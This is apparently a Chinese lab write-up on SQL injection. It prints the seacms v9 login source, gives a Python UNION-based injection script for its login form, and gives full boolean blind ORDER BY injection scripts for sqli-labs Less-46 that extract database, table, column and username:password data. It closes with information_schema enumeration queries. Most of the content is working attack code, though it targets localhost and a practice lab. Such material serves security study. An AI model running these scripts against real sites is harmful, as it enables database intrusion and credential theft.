一、seacmsv9 SQL注入漏洞
查看源码
<?php
session_start();
require_once("include/common.php");
//前置跳转start
$cs=$_SERVER["REQUEST_URI"];
if($GLOBALS['cfg_mskin']==3 AND $GLOBALS['isMobile']==1){header("location:$cfg_mhost$cs");}
if($GLOBALS['cfg_mskin']==4 AND $GLOBALS['isMobile']==1){header("location:$cfg_mhost");}
//前置跳转end
require_once(sea_INC."/main.class.php");
if($cfg_user==0)
{
ShowMsg('系统已关闭会员功能!','index.php');
exit();
}
$hashstr=md5($cfg_dbpwd.$cfg_dbname.$cfg_dbuser); //构造session安全码
$svali = $_SESSION['sea_ckstr'];
if($dopost=='login')
{
if($cfg_feedback_ck=='1')
{
$validate = empty($validate) ? '' : strtolower(trim($validate));
if($validate=='' || $validate != $svali)
{
ResetVdValue();
ShowMsg('验证码不正确!','-1');
exit();
}
}
if($userid=='')
{
ShowMsg('请输入用户名!','-1');
exit();
}
if($pwd=='')
{
ShowMsg('请输入密码!','-1');
exit();
}
$userid = RemoveXSS(stripslashes($userid));
$userid = addslashes(cn_substr($userid,60));
$pwd = substr(md5($pwd),5,20);
$row1=$dsql->GetOne("select * from sea_member where state=1 and username='$userid'");
if($row1['username']==$userid AND $row1['password']==$pwd)
{
//验证是否激活邮箱
require_once('data/admin/smtp.php');
if($smtpreg=='on'){
$sql="SELECT acode FROM sea_member where username= '$userid'";
$row = $dsql->GetOne($sql);
if($row['acode']!='y'){
showMsg("您的账户尚未激活,请激活后登陆!","index.php",0,100000);
exit;
}
}
$_SESSION['sea_user_id'] = $row1['id'];
$uid=$row1['id'];
$_SESSION['sea_user_name'] = $row1['username'];
if($row1['vipendtime']<time()){
$_SESSION['sea_user_group'] = 2;
$dsql->ExecuteNoneQuery("update `sea_member` set gid=2 where id=$uid");
$_SESSION['hashstr']=$hashstr;
$dsql->ExecuteNoneQuery("UPDATE `sea_member` set logincount=logincount+1 where id='$uid'");
if($row1['gid'] !=2){
ShowMsg("您购买的会员组已到期,请注意续费!<br>成功登录!","member.php",0,30000);
}else{
ShowMsg("成功登录,正在转向会员中心!","member.php",0,3000);
}
}else{
$_SESSION['sea_user_group'] = $row1['gid'];
$_SESSION['hashstr']=$hashstr;
$dsql->ExecuteNoneQuery("UPDATE `sea_member` set logincount=logincount+1 where id='$uid'");
ShowMsg("成功登录,正在转向会员中心!","member.php",0,3000);
}
exit();
}
else
{
ShowMsg("密码错误或账户已被禁用","login.php",0,3000);
exit();
}
}
else
{
$tempfile = sea_ROOT."/templets/".$GLOBALS['cfg_df_style']."/".$GLOBALS['cfg_df_html']."/login.html";
if($GLOBALS['cfg_mskin']!=0 AND $GLOBALS['cfg_mskin']!=3 AND $GLOBALS['cfg_mskin']!=4 AND $GLOBALS['isMobile']==1)
{$tempfile = sea_ROOT."/templets/".$GLOBALS['cfg_df_mstyle']."/".$GLOBALS['cfg_df_html']."/login.html";}
$content=loadFile($tempfile);
$t=$content;
$t=$mainClassObj->parseTopAndFoot($t);
$t=$mainClassObj->parseHistory($t);
$t=$mainClassObj->parseSelf($t);
$t=$mainClassObj->parseGlobal($t);
$t=$mainClassObj->parseAreaList($t);
$t=$mainClassObj->parseNewsAreaList($t);
$t=$mainClassObj->parseMenuList($t,"");
$t=$mainClassObj->parseVideoList($t,-444);
$t=$mainClassObj->parseNewsList($t,-444);
$t=$mainClassObj->parseTopicList($t);
$t=replaceCurrentTypeId($t,-444);
$t=$mainClassObj->parseIf($t);
if($cfg_feedback_ck=='1')
{$t=str_replace("{login:viewLogin}",viewLogin(),$t);}
else
{$t=str_replace("{login:viewLogin}",viewLogin2(),$t);}
$t=str_replace("{login:main}",viewMain(),$t);
$t=str_replace("{seacms:runinfo}",getRunTime($t1),$t);
$t=str_replace("{seacms:member}",front_member(),$t);
echo $t;
exit();
}
function viewMain(){
$main="<div class='leaveNavInfo'><h3><span id='adminleaveword'></span>".$GLOBALS['cfg_webname']."会员登录</h3></div>";
return $main;
}
function viewLogin(){
$mystr=
"<ul>".
"<form id=\"f_login\" action=\"/".$GLOBALS['cfg_cmspath']."login.php\" method=\"post\">".
"<input type=\"hidden\" value=\"login\" name=\"dopost\" />".
"<li><input type=\"input\" name=\"userid\" autofocus class=\"form-control\" placeholder=\"用户名\" /></li>".
"<li><input type=\"password\" name=\"pwd\" class=\"form-control\" placeholder=\"密码\" /></li>".
"<li><img id=\"vdimgck\" src=\"./include/vdimgck.php\" alt=\"看不清?点击更换\" align=\"absmiddle\" class=\"pull-right\" style='width:70px; height:32px;' onClick=\"this.src=this.src+'?'\"/><input name=\"validate\" type=\"text\" placeholder=\"验证码\" style='width:50%;text-transform:uppercase;' class=\"form-control\" /> </li>".
"<li><input type=\"submit\" value=\"登录\" class=\"btn btn-block btn-warning\"/></li>".
"<li class=\"text-center\"><a class=\"text-muted\" href=\"./reg.php\">注册用户</a> <a class=\"text-muted\" href=\"./member.php?mod=repsw\">找回密码</a></li>".
"</ul>";
return $mystr;
}
function viewLogin2(){
$mystr=
"<ul>".
"<form id=\"f_login\" action=\"/".$GLOBALS['cfg_cmspath']."login.php\" method=\"post\">".
"<input type=\"hidden\" value=\"login\" name=\"dopost\" />".
"<li><input type=\"input\" name=\"userid\" autofocus class=\"form-control\" placeholder=\"用户名\" /></li>".
"<li><input type=\"password\" name=\"pwd\" class=\"form-control\" placeholder=\"密码\" /></li>".
"<li><input type=\"submit\" value=\"登录\" class=\"btn btn-block btn-warning\"/></li>".
"<li class=\"text-center\"><a class=\"text-muted\" href=\"./reg.php\">注册用户</a> <a class=\"text-muted\" href=\"./member.php?mod=repsw\">找回密码</a></li>".
"</form>".
"</ul>";
return $mystr;
}
经过源码分析,使用以下语句注入
$row1=$dsql->GetOne("select * from sea_member where state=1 and username='$userid'");
直接使用用户的ID去查询的,那么我们有机会从这里下手
import requests
def get_database_names(url):
# 构造 SQL 注入查询
payload = "' UNION SELECT schema_name FROM information_schema.schemata -- -"
data = {
"dopost": "login",
"userid": payload,
"pwd": "anything"
}
try:
response = requests.post(url, data=data)
return response.text
except requests.exceptions.RequestException as e:
print(f"请求失败: {e}")
return None
def extract_database_names(response_text):
database_names = []
lines = response_text.split("\n")
for line in lines:
if "<td>" in line:
parts = line.split("<td>")
for part in parts[1:]:
name = part.split("</td>")[0].strip()
if name not in database_names and name:
database_names.append(name)
return database_names
if __name__ == '__main__':
# 目标 URL
target_url = "http://localhost:8000/login.php"
response = get_database_names(target_url)
print(response)
if response:
databases = extract_database_names(response)
print("已获取到以下数据库名称:")
for db in databases:
print(db)
else:
print("无法获取数据库名称。")
回显报错
<html> <body style="margin:0; padding:0"> <center><iframe width="100%" align="center" height="870" frameborder="0" scrolling="no" src="http://safe.webscan.360.cn/stopattack.html "></iframe></center> </body>
二、order by 布尔盲注
sqlilabs靶场第46关,参数sort传入id,如下
参数sort传入username,如下
看源码可知,sort前面是order by,通过sort传入的字段排序
于是用sort=if(表达式,id,username)的方式注入,通过BeautifulSoup爬取表格中username下一格的
值是否等于Dumb来判断表达式的真假,并使用二分查找加快注入速度,从而实现boolen(布尔)
注入,具体代码如下
import requests
from bs4 import BeautifulSoup
def get_username(resp):
soup = BeautifulSoup(resp,'html.parser')
username = soup.select('body > div:nth-child(1) > font:nth-child(4) > tr > td:nth-child(2)')[0].text
return username
def inject_database_boolen():
tables = ''
i = 1
while True:
left = 32
right = 127
mid = (left + right) // 2
while left < right:
url = f"http://localhost/sqli-labs-master/Less-46/index.php?sort=if(ascii(substr(database(),{i},1))>{mid},id,username) -- "
resp = requests.get(url)
if 'Dumb' == get_username(resp.text):
left = mid + 1
else:
right = mid
mid = (left + right) // 2
if mid == 32:
break
tables += chr(mid)
i += 1
print(tables)
def inject_table_boolen():
tables = ''
i = 1
while True:
left = 32
right = 127
mid = (left + right) // 2
while left < right:
url = f"http://localhost/sqli-labs-master/Less-46/index.php?sort=if(ascii(substr((select group_concat(table_name) from \
information_schema.tables where table_schema=database()),{i},1))>{mid},id,username) -- "
resp = requests.get(url)
if 'Dumb' == get_username(resp.text):
left = mid + 1
else:
right = mid
mid = (left + right) // 2
if mid == 32:
break
tables += chr(mid)
i += 1
print(tables)
def inject_column_boolen():
tables = ''
i = 1
while True:
left = 32
right = 127
mid = (left + right) // 2
while left < right:
url = f"http://localhost/sqli-labs-master/Less-46/index.php?sort=if(ascii(substr((select group_concat(column_name) from \
information_schema.columns where table_schema=database() and table_name='users'),{i},1))>{mid},id,username) -- "
resp = requests.get(url)
if 'Dumb' == get_username(resp.text):
left = mid + 1
else:
right = mid
mid = (left + right) // 2
if mid == 32:
break
tables += chr(mid)
i += 1
print(tables)
def inject_data_boolen():
tables = ''
i = 1
while True:
left = 32
right = 127
mid = (left + right) // 2
while left < right:
url = f"http://localhost/sqli-labs-master/Less-46/index.php?sort=if(ascii(substr((select group_concat(username,':',password) \
from users),{i},1))>{mid},id,username) -- "
resp = requests.get(url)
if 'Dumb' == get_username(resp.text):
left = mid + 1
else:
right = mid
mid = (left + right) // 2
if mid == 32:
break
tables += chr(mid)
i += 1
print(tables)
if __name__ == '__main__':
# inject_database_boolen()
# inject_table_boolen()
# inject_column_boolen()
inject_data_boolen()
注入结果如下:

三、过滤information_schema解决方案(mysql)
information_schema是信息数据库,其中保存着关于mysql服务器所维护的所有其他数据库的信息。在information_schema中,有数个只读表。它们实际上是视图,而不是基本表,因此,你将无法看到与之相关的任何文件,也就是information_schema说一个虚拟数据库,物理上并不存在。
获取所有数据库列表
SELECT schema_name FROM information_schema.schemata;
获取表名
SELECT table_name FROM information_schema.tables WHERE table_schema = 'database_name';
获取字段名
SELECT column_name, data_type FROM information_schema.columns WHERE table_schema = 'database_name' AND table_name = 'table_name';